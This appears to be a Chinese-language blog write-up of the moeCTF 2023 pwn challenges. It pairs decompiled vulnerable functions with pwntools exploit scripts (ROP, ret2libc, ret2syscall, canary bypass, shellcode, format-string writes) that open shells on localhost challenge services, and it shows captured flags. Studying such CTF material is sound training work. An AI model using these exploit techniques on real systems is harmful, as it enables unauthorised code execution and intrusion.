[moeCTF 2023] pwn

总体上来说并不难,不过对于新生来说还是相当好的。循序渐进,很适合PWN入门到放弃。

baby_calculator

就是要算对100个10以内加法(幼儿园的题)练习pwntools和python

python 复制代码
from pwn import *
from hashlib import md5 
import string 
#from sage.all import * 

io = remote('localhost', 38233)
context.log_level = 'debug'

for i in range(100):
    io.recvuntil(b'The first:')
    a = int(io.recvline())
    io.recvuntil(b':')
    b = int(io.recvline())
    c = io.recvline().decode().replace('=','==')
    d = eval(c)
    if d:
        io.sendline(b'BlackBird')
    else:
        io.sendline(b'WingS')

io.interactive()

fd

系统在程序调起时会先打开标准IO和Error 3个文件描述符(0 1 2),再打开文件就是3号了,然后算下输入就OK

cpp 复制代码
  puts("Do you know fd?");
  fd = open("./flag", 0, 0LL);
  new_fd = (4 * fd) | 0x29A;
  dup2(fd, new_fd);
  close(fd);
  puts("Which file do you want to read?");
  puts("Please input its fd: ");
  __isoc99_scanf("%d", &input);
  read(input, flag, 0x50uLL);
  puts(flag);

int_overflow

输入一个正数,等于负数。在计算机上数字就是这样你看成有符号就是有符号,看成无符号就是无符号。他就是他 -114514&0xffffffff == 4294852782

cpp 复制代码
  puts("Welcome to Moectf2023.");
  puts("Do you know int overflow?");
  puts("Can you make n == -114514 but no '-' when you input n.");
  puts("Please input n:");
  get_input(&n);
  if ( n == -114514 )
    backdoor();
  puts("Maybe you should search and learn it.");

ret2text_32

32位系统的函数调用和传参

cpp 复制代码
ssize_t vuln()
{
  size_t nbytes; // [esp+Ch] [ebp-5Ch] BYREF
  char buf[84]; // [esp+10h] [ebp-58h] BYREF

  puts("Welcome to my stack in MoeCTF2023!");
  puts("What's your age?");
  __isoc99_scanf("%d", &nbytes);
  puts("Now..try to overflow!");
  return read(0, buf, nbytes);
}
int b4ckdoor()
{
  return system("echo hi!");
}
python 复制代码
from pwn import *

io = remote('localhost', 45415)
context(arch='i386',log_level = 'debug')

io.sendlineafter(b"What's your age?\n", b'1000')
io.sendafter(b"Now..try to overflow!\n", b'\x00'*0x58+flat(0, 0x8049070,0, 0x804c02c))

io.interactive()
#moectf{5y5eVodmeDp-jl3_MjcVVSHwQYmKW8do}

ret2text_64

64位调用和传参,64位前6个参数在寄存器,1参要pop rdi;

python 复制代码
from pwn import *

io = remote('localhost', 39223)
context(arch='amd64',log_level = 'debug')

pop_rdi = 0x4011be

pay = b'\x00'*0x50+flat(0x404800, pop_rdi, 0x404050, 0x4012b7)
io.sendlineafter(b"What's your age?\n", str(len(pay)).encode())
io.sendafter(b"Now..try to overflow!\n", pay)

io.interactive()

rePWNse

python 复制代码
from pwn import *

p = remote('localhost', 38161)
#p = process('./format_level2')
context(arch='amd64',log_level = 'debug')

pop_rdi = 0x40168e

p.recvuntil(b"Input seven single digits:")
a = '1919810'
for v in a:
    p.sendline(v.encode())

p.recvuntil(b"The address is:")
bin_sh = int(p.recvline(),16)

p.sendafter(b"What do you want?", b'A'*0x48 + flat(pop_rdi, bin_sh, 0x401296))

p.interactive()

ret2libc

c写的东西最容易发生的漏洞就是栈溢出。这里明显buf比写入的小。通过溢出改变程序流程,下一步走到想要的地方。

cpp 复制代码
ssize_t vuln()
{
  char buf[80]; // [rsp+0h] [rbp-50h] BYREF

  puts("I hide the b4ckdoor..\n");
  puts("But..maybe libc can help u??\n");
  return read(0, buf, 0x100uLL);
}

最常见的就是先通过puts(got)得到libc的地址,然后再执行system(/bin/sh)

python 复制代码
from pwn import *


p = remote('localhost', 41401)
#p = process('./format_level2')
context(arch='amd64',log_level = 'debug')

pop_rdi = 0x40117e
got_puts = 0x404020
plt_puts = 0x401060

p.sendafter(b"But..maybe libc can help u??\n\n", b'A'*0x58 + flat(pop_rdi, got_puts, plt_puts, 0x4011e8))

libc_base = u64(p.recvline()[:-1].ljust(8,b'\x00')) - 0x114980

bin_sh = libc_base + 0x1d8698
system = libc_base + 0x50d60

p.sendafter(b"But..maybe libc can help u??\n\n", b'A'*0x58 + flat(pop_rdi+1, pop_rdi, bin_sh, system, 0x4011e8))

p.interactive()

ret2syscall

代码基本还是上边那个,只是不用先取得libc,直接调用syscall的execve(/bin/sh)

python 复制代码
from pwn import *


p = remote('localhost', 33827)
#p = process('./format_level2')
context(arch='amd64',log_level = 'debug')

pop_rdi = 0x401180
pop_rsi_rdx = 0x401182
pop_rax = 0x40117e
bin_sh = 0x404040
syscall = 0x401185 

p.sendafter(b"Can you make a syscall?\n", b'A'*0x48 + flat(pop_rdi, bin_sh, pop_rsi_rdx,0,0, pop_rax, 59, syscall))

p.interactive()

PIE_enabled

针对溢出的保护机制常见有两个一人是PIE就是程序加载地址随机化,这样像pop这样的gadget就不能直接用了。

这里先给了一个地址,通过这个地址计算出基地址再计算出各个gadget的地址再利用。

cpp 复制代码
ssize_t vuln()
{
  char buf[80]; // [rsp+0h] [rbp-50h] BYREF

  puts("This time i will give u a gift!\n");
  printf("Vuln's address is:%p\n", vuln);
  return read(0, buf, 0x100uLL);
}
python 复制代码
from pwn import *


p = remote('localhost', 36081)
#p = process('./format_level2')
context(arch='amd64',log_level = 'debug')

p.recvuntil(b"Vuln's address is:")
pwn_base = int(p.recvline(),16) - 0x1245

pop_rdi = pwn_base + 0x1323
bin_sh  = pwn_base + 0x4010
system  = pwn_base + 0x10a0 

p.send(b'A'*0x58 + flat(pop_rdi+1, pop_rdi,bin_sh,system))

p.interactive()

little_canary

最直接的保护机制就是canary这东西名叫金丝雀,是一个4或8字节,尾为0,每当调用函数时会从ld里读进来放到栈底,如果有溢出发生就会被破坏,然后程序就直接调用崩掉。(尾字节的0防止被puts啥的输出)

当然再好的机制也挡不住烂程序员,给你两次,先把0给填上然后再puts。

python 复制代码
from pwn import *


p = remote('localhost', 44731)
#p = process('./format_level2')
context(arch='amd64',log_level = 'debug')

pop_rdi = 0x401343
got_puts = 0x404030 
plt_puts = 0x401080 

p.sendafter(b"What's your name?\n", b'A'*0x49)
p.recvuntil(b'A'*0x49)

canary = b'\x00'+p.recv(7)

p.sendafter(b"I put a canary on my stack!\n", b'A'*0x48 + flat(canary,0, pop_rdi, got_puts, plt_puts, 0x40121b))
p.recvuntil(b"Try to defeat it!")

libc_base = u64(p.recv(6).ljust(8, b'\x00')) -  0x10dfc0

bin_sh = libc_base + 0x1b45bd
system = libc_base + 0x52290

p.sendlineafter(b"What's your name?\n", b'A')
p.sendafter(b"I put a canary on my stack!\n", b'A'*0x48 + flat(canary,0, pop_rdi+1, pop_rdi, bin_sh, system, 0x40121b))


p.interactive()

shellcode_level0

别一种漏洞就是栈可执行。栈不能执行也是一种保护机制,程序加载后每个块都有些特性。可执行的区域不可写,可写的区域不可执行,栈也一样。在C程序编译时会默认设置,但如果打开了就会有一另一种麻烦。栈溢出后如果gadget没有合适的也不大好弄,但如果能执行直接写代码就过了。

pwntools有些自动化工作。shellcraft.sh() 等

python 复制代码
from pwn import *

io = remote('localhost', 46419)
io.sendline(asm(shellcraft.sh()))
io.interactive()

shellcode_level1

同上

python 复制代码
from pwn import *

io = remote('localhost', 46071)
#io = process('./pwn')
context(arch='amd64',log_level = 'debug')

io.sendlineafter(b"Which paper will you choose?\n", b'4')
io.sendlineafter(b"what do you want to write?\n",asm(shellcraft.sh()))

io.interactive()

shellcode_level2

再同上(可能出题人太懒)

python 复制代码
from pwn import *

io = remote('localhost', 37227)
io.sendline(b'\x00'+asm(shellcraft.sh()))
io.interactive()

shellcode_level3

强烈怀疑走错篷了。写上后门的地址,就会跳过去执行。

cpp 复制代码
int __cdecl main(int argc, const char **argv, const char **envp)
{
  puts("5 bytes ni neng miao sha wo?");
  mprotect(&GLOBAL_OFFSET_TABLE_, 0x1000uLL, 7);
  gets(&code);
  memset(&unk_40408E, 0, 0xF72uLL);
  ((void (*)(void))code)();                     // 写个后门的地址
  return 0;
}

changeable_shellcode

写个代码然后去运行。

shellcode这东西说简就简一句shellcraft.sh()或者直接复制一段21字节代码就行,说繁杂那其实就是个写程序,没有最难只有更难。这是个起点,需要绕过出题人出的那些限制。这里需要把88异或成05造成syscall

python 复制代码
from pwn import *

p = remote('localhost', 32777)
#p = process('./shellcode')
context(arch='amd64',log_level = 'debug')

a = '''
mov rbx, 0x11451401d
mov byte ptr[rbx],5
mov rdi,rbx
inc rdi
xor rsi,rsi
xor rdx,rdx
push 0x3b
pop rax
'''

p.sendafter(b"Please input your shellcode: \n", asm(a)+b'\x0f\x88/bin/sh')
p.send(asm(shellcraft.sh()))


p.interactive()

uninitialized_key

这里只能输入5个数,可需要的6个已经提前存在栈上,用-或+绕过scanf

cpp 复制代码
void __cdecl get_key()
{
  int key; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  puts("Please input your key:");
  __isoc99_scanf("%5d", &key);
  if ( key == 114514 )
  {
    puts("This is my flag.");
    system("cat flag");
  }
}
bash 复制代码
┌──(kali㉿kali)-[~/ctf/0815]
└─$ nc localhost 39071
Welcome to Moectf 2023.
Do you know stack?
Please input your age:
114514
Your age is 114514.
Please input your key:
-
This is my flag.
moectf{EFQ5jPzNeXlgZgzDvpd6H7wogHahOtCL}

uninitialized_key_plus

可能我没理解出题人的意思,这两个基本相同,都是-绕过

python 复制代码
from pwn import *

p = remote('localhost', 35923)
#p = process('./shellcode_level3')
context(arch='amd64',log_level = 'debug')

p.sendafter(b"Please input your name:\n", b'A'*20+p32(114514))
p.sendafter(b"Please input your key:\n", b'-')

p.interactive()

feedback

另一个问题是指针溢出,当你以为需要输入个正数的时候,弄不好是个带符号的,偏移会有意想不到的结局发生。

cpp 复制代码
void __cdecl __noreturn vuln()
{
  int i; // [rsp+8h] [rbp-8h]
  int ia; // [rsp+8h] [rbp-8h]
  int index; // [rsp+Ch] [rbp-4h]

  puts("Can you give me your feedback?");
  puts("There are some questions.");
  puts("1. What do you think of the quality of the challenge this time?");
  puts("2. Give me some suggestions.");
  puts("3. Please give me your ID.");
  feedback_list[0] = 0LL;
  for ( i = 1; i <= 3; ++i )
    feedback_list[i] = (char *)malloc(0x50uLL);
  for ( ia = 0; ia <= 2; ++ia )
  {
    puts("Which list do you want to write?");
    index = read_num();                         // 前溢出
    if ( index <= 3 )
    {
      puts("Then you can input your feedback.");
      read_str(feedback_list[index]);
      print_feedback();
    }
    else
    {
      puts("No such list.");
    }
  }
  _exit(0);
}
python 复制代码
from pwn import *

#p = process('feedback')
p = remote('127.0.0.1', 37413)

libc = ELF('./libc-2.31.so')
context(arch='amd64', log_level='debug')

#gdb.attach(p)
#pause()

#leak -8:stdout->_IO_2_1_stdout_ : 0xfbad1887 + 0*25
p.sendlineafter(b"Which list do you want to write?\n", b'-8')
p.sendlineafter(b"Then you can input your feedback.\n", p64(0xfbad1887)+p64(0)*3+p8(0))

libc.address = u64(p.recv(16)[8:]) - libc.sym['_IO_2_1_stdin_']

# 0x4008->feedback[1]:0x4068
p.sendlineafter(b"Which list do you want to write?", b'-11')
p.sendlineafter(b"Then you can input your feedback.", p8(0x68))

#flag_add = 0x1f1700
flag_addr = libc.address + 0x1f1700
p.sendlineafter(b"Which list do you want to write?", b'-11')
p.sendlineafter(b"Then you can input your feedback.", p64(flag_addr))

p.recvline()


p.interactive()

format_level0

格式化字符串是PWN题的一个小分支。因为在我们战队有个培训,我选了这个题目讲,所以专门把这个放到最后。作为小例题分析提前准备着,因为讲课就排在最后,得到明年了。

因为执行流都放在栈上对于printf这个变长参数的函数,参数设置不对就会发生任意地址读和任意地址写。

想好几天了,就这么一句怎么讲仨钟头啊。

这个题已经把flag放到栈上,找到指针输出就行了,不过没有指针,只能当整形打出来。

cpp 复制代码
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int fd; // [esp+0h] [ebp-B0h]
  char flag[80]; // [esp+4h] [ebp-ACh] BYREF
  char name[80]; // [esp+54h] [ebp-5Ch] BYREF
  unsigned int v7; // [esp+A4h] [ebp-Ch]
  int *p_argc; // [esp+A8h] [ebp-8h]

  p_argc = &argc;
  v7 = __readgsdword(0x14u);
  init();
  memset(flag, 0, sizeof(flag));
  memset(name, 0, sizeof(name));
  fd = open("flag", 0, 0);
  if ( fd == -1 )
  {
    puts("open flag error!");
    exit(0);
  }
  read(fd, flag, 0x50u);
  close(fd);
  puts("Please input your name:");
  read(0, name, 0x50u);
  printf("Your name is: ");
  printf(name);
  return 0;
}
bash 复制代码
┌──(kali㉿kali)-[~/ctf/0815]
└─$ nc localhost 36045
Please input your name:
%7$p,%8$p,%9$p,%10$p,%11$p,%12$p,%13$p,%14$p,%15$p,%16$p,%17$p,%18$p,%19$p,%20$p,%21$p,%22$p,%23$p,%24$p,%25$p,%26$p,
Your name is: 0x63656f6d,0x4b7b6674,0x316b7441,0x30594675,0x62625369,0x726a784c,0x6d576c6d,0x394e3855,0x38413248,0x7d4d474d,0xa,(nil),(nil),(nil)                                                                                           
>>> a = [0x63656f6d,0x4b7b6674,0x316b7441,0x30594675,0x62625369,0x726a784c,0x6d576c6d,0x394e3855,0x38413248,0x7d4d474d]
>>> b''.join([p32(i) for i in a])
b'moectf{KAtk1uFY0iSbbLxjrmlWmU8N9H2A8MGM}'

format_level1

game调用talk,会执行任意地址写,跟GE一样,朝有利方向改就行了。

cpp 复制代码
void talk()
{
  char str[16]; // [esp+Ch] [ebp-1Ch] BYREF
  unsigned int v1; // [esp+1Ch] [ebp-Ch]

  v1 = __readgsdword(0x14u);
  memset(str, 0, sizeof(str));
  puts("Input what you want to talk: ");
  read(0, str, 0x10u);
  puts("You said: ");
  printf(str);
  puts("But the dragon seems to ignore you.\n");
}
python 复制代码
from pwn import *

p = remote('localhost', 43821)
#p = process('./format_level1')
context(arch='i386',log_level = 'debug')

p.sendlineafter(b"Your choice: \n", b'3')
p.sendafter(b"Input what you want to talk: \n", p32(0x804c014+7)+b'%7$hhn')

p.sendlineafter(b"Your choice: \n", b'1')

p.interactive()

format_level2

同上

python 复制代码
from pwn import *

p = remote('localhost', 41319)
#p = process('./format_level2')
context(arch='i386',log_level = 'debug')

#gdb.attach(p, 'b*0x80496b2\nc')

p.sendlineafter(b"Your choice: \n", b'3')
p.sendafter(b"Input what you want to talk: \n", b'%14$p\n')
p.recvuntil(b"You said: \n")

stack = int(p.recvline(),16) + 4

p.sendlineafter(b"Your choice: \n", b'3')
p.sendafter(b"Input what you want to talk: \n", b'%23c%10$hhn.'+p32(stack))

p.sendlineafter(b"Your choice: \n", b'3')
p.sendafter(b"Input what you want to talk: \n", b'%147c%10$hhn'+p32(stack+1))

p.sendlineafter(b"Your choice: \n", b'4')

p.interactive()

format_level3

原理同上,格式化这东西有可能会比较麻烦

python 复制代码
from pwn import *

#p = process('./format_level3')
p = remote('127.0.0.1', 38333)

context.log_level = 'debug'

success = 0x8049330 

#gdb.attach(p, 'b*0x80496b0\nc')

def talk(v):
    p.sendlineafter(b"Your choice: \n", b'3')
    p.sendlineafter(b"Input what you want to talk: ", v.encode())
    p.recvuntil(b"You said: \n")

#leak stack
talk('%6$p\n')
stack = int(p.recvline().strip(), 16) - (0xcfe8 - 0xcfcc)
print(f"{stack = :x}")

#14->7
talk(f'%{stack&0xff}c%6$hhn')
#7 = success
talk(f'%{0x9330}c%14$hn')

p.interactive()
'''
0xffffcfb0│+0x0000: 0x0804a20c  →  "But the dragon seems to ignore you.\n"       ← $esp
0xffffcfb4│+0x0004: 0x0804c01c  →  "%8$p%9$p%10$p\n"
0xffffcfb8│+0x0008: 0x00000010
0xffffcfbc│+0x000c: 0x0804963e  →  <talk+16> add ebx, 0x297a
0xffffcfc0│+0x0010: 0x0804a231  →  0x47006425 ("%d"?)
0xffffcfc4│+0x0014: 0x0804bfb8  →  0x0804bec0  →  0x00000001
0xffffcfc8│+0x0018: 0xffffcfe8  →  0xffffcff8  →  0x00000000     ← $ebp          #6
0xffffcfcc│+0x001c: 0x08049737  →  <game+121> jmp 0x804975a <game+156>           #7 -> success
0xffffcfd0│+0x0020: 0xf7e1dd00  →  0xfbad2087                                    #8
0xffffcfd4│+0x0024: 0x00000000
0xffffcfd8│+0x0028: 0x00000003
0xffffcfdc│+0x002c: 0xfe80a600
0xffffcfe0│+0x0030: 0x00000001
0xffffcfe4│+0x0034: 0xf7e1cff4  →  0x0021cd8c
0xffffcfe8│+0x0038: 0xffffcff8  →  0x00000000                                    #14 -> #7
0xffffcfec│+0x003c: 0x08049784  →  <main+30> mov eax, 0x0
0xffffcff0│+0x0040: 0x00000000
0xffffcff4│+0x0044: 0x00000070 ("p"?)
0xffffcff8│+0x0048: 0x00000000
0xffffcffc│+0x004c: 0xf7c23295  →  <__libc_start_call_main+117> add esp, 0x10
0xffffd000│+0x0050: 0x00000001
'''
相关推荐
bin915335 分钟前
DeepSeek 助力 Vue 开发:打造丝滑的复制到剪贴板(Copy to Clipboard)
前端·javascript·vue.js·ecmascript·deepseek
勤奋的凯尔森同学36 分钟前
webmin配置终端显示样式,模仿UbuntuDesktop终端
linux·运维·服务器·ubuntu·webmin
月光水岸New1 小时前
Ubuntu 中建的mysql数据库使用Navicat for MySQL连接不上
数据库·mysql·ubuntu
狄加山6751 小时前
数据库基础1
数据库
我爱松子鱼1 小时前
mysql之规则优化器RBO
数据库·mysql
chengooooooo2 小时前
苍穹外卖day8 地址上传 用户下单 订单支付
java·服务器·数据库
晴空万里藏片云2 小时前
elment Table多级表头固定列后,合计行错位显示问题解决
前端·javascript·vue.js
曦月合一2 小时前
html中iframe标签 隐藏滚动条
前端·html·iframe
奶球不是球2 小时前
el-button按钮的loading状态设置
前端·javascript
kidding7232 小时前
前端VUE3的面试题
前端·typescript·compositionapi·fragment·teleport·suspense